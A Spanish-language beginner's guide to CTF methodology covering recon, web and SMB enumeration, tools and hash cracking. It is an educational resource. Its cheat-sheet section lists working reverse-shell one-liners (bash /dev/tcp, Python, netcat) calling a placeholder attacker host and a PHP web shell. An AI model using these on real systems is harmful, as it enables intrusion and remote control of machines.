← Volver al inicio
CTF HackTheBox TryHackMe Metodología Web Pwn Forense
Básico

Metodología CTF: Guía Completa para Principiantes

01/10/2024

Los CTF (Capture The Flag) son competiciones de ciberseguridad donde debes encontrar "flags" (cadenas secretas) resolviendo retos técnicos. Son la mejor forma de practicar hacking ético en entornos legales. Esta guía cubre la metodología, las categorías más comunes y las herramientas imprescindibles.

1. Plataformas de práctica recomendadas

# Para aprender — salas guiadas paso a paso:
# https://tryhackme.com       ← Ideal para principiantes
# https://picoctf.org         ← CTF educativo de CMU

# Para practicar solo — máquinas sin guía:
# https://hackthebox.com      ← Nivel intermedio/avanzado
# https://vulnhub.com         ← VMs descargables offline
# https://pwn.college         ← Especializado en binarios

# Competiciones en vivo:
# https://ctftime.org         ← Calendario global de CTFs

2. Metodología general para máquinas (HTB/THM)

# Paso 1 — Reconocimiento inicial:
export IP=10.10.10.X          # Guardar IP del objetivo
nmap -sV -sC -T4 $IP          # Escaneo rápido de puertos
nmap -p- --min-rate 5000 $IP  # Escaneo completo de puertos

# Paso 2 — Enumeración de servicios según puertos:
# Puerto 80/443 → Enumerar web
# Puerto 21 → FTP (probar anonymous login)
# Puerto 22 → SSH (bruteforce si tenemos usuario)
# Puerto 139/445 → SMB (enum4linux, smbclient)

# Paso 3 — Obtener acceso inicial (foothold)
# Paso 4 — Escalada de privilegios (root/system)
# Paso 5 — Capturar flags: user.txt y root.txt

3. Enumeración web (categoría más común)

# Reconocimiento básico:
whatweb http://$IP             # Detectar tecnologías
curl -I http://$IP             # Headers HTTP
nikto -h http://$IP            # Escaneo de vulnerabilidades

# Directorios y archivos:
gobuster dir -u http://$IP \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt,bak -t 50

# Subdominios (si hay un dominio):
echo "$IP  objetivo.htb" | sudo tee -a /etc/hosts
gobuster dns -d objetivo.htb \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Inspección manual:
# Ver código fuente (Ctrl+U)
# Revisar /robots.txt, /sitemap.xml, /.git/, /backup/
# Probar credenciales comunes: admin/admin, admin/password

4. Enumeración de SMB (Windows)

# Enumerar con enum4linux-ng:
enum4linux-ng -A $IP

# Listar shares con smbclient:
smbclient -L //$IP -N             # Sin contraseña
smbclient //$IP/SHARE -N          # Acceder a share concreto

# Con crackmapexec:
crackmapexec smb $IP
crackmapexec smb $IP --shares -u '' -p ''
crackmapexec smb $IP --shares -u 'guest' -p ''

# Montar share localmente:
mkdir /mnt/smb
sudo mount -t cifs //$IP/Data /mnt/smb -o username=,password=

5. Shells reversas — cheatsheet

# Poner netcat en escucha (en tu máquina):
nc -lvnp 4444
rlwrap nc -lvnp 4444    # Con historial de comandos

# Shells reversas (bash):
bash -i >& /dev/tcp/TU_IP/4444 0>&1

# Python:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("TU_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP (útil en RCE web):
<?php system($_GET['cmd']); ?>
# Luego: /vuln.php?cmd=bash+-i+>&+/dev/tcp/TU_IP/4444+0>&1

# netcat:
nc TU_IP 4444 -e /bin/bash

# Upgradear shell básica a TTY completo:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

6. Categorías comunes de CTF y herramientas

CategoríaDescripciónHerramientas clave
WebSQLi, XSS, IDOR, SSRF, path traversalBurp Suite, sqlmap, ffuf
CriptografíaCifrados clásicos, RSA débil, hash crackingCyberChef, john, hashcat, SageMath
ReversingAnálisis de binarios, decompilaciónGhidra, IDA Free, radare2, strings
Pwn/BinarioBuffer overflow, ret2libc, ROP chainspwntools, gdb-peda, ROPgadget
ForenseAnálisis de imágenes, capturas de red, memoriaVolatility, Autopsy, Wireshark, binwalk
OSINTReconocimiento pasivo, redes socialestheHarvester, Maltego, Shodan
EsteganografíaDatos ocultos en imágenes/audiosteghide, stegseek, zsteg, binwalk

7. Trucos y buenas prácticas en CTF

# Siempre tomar notas:
mkdir ~/ctf/maquina && cd ~/ctf/maquina
nano notas.md      # Documentar cada paso

# Buscar la flag en los sitios típicos (Linux):
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null
find / -name "flag*.txt" 2>/dev/null

# CyberChef para decodificar texto sospechoso:
# https://gchq.github.io/CyberChef/
# Útil para: base64, hex, ROT13, URL encode, JWT...

# Identificar tipo de hash:
hash-identifier "5f4dcc3b5aa765d61d8327deb882cf99"
hashid "5f4dcc3b5aa765d61d8327deb882cf99"

# Crackear hashes rápido con john:
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt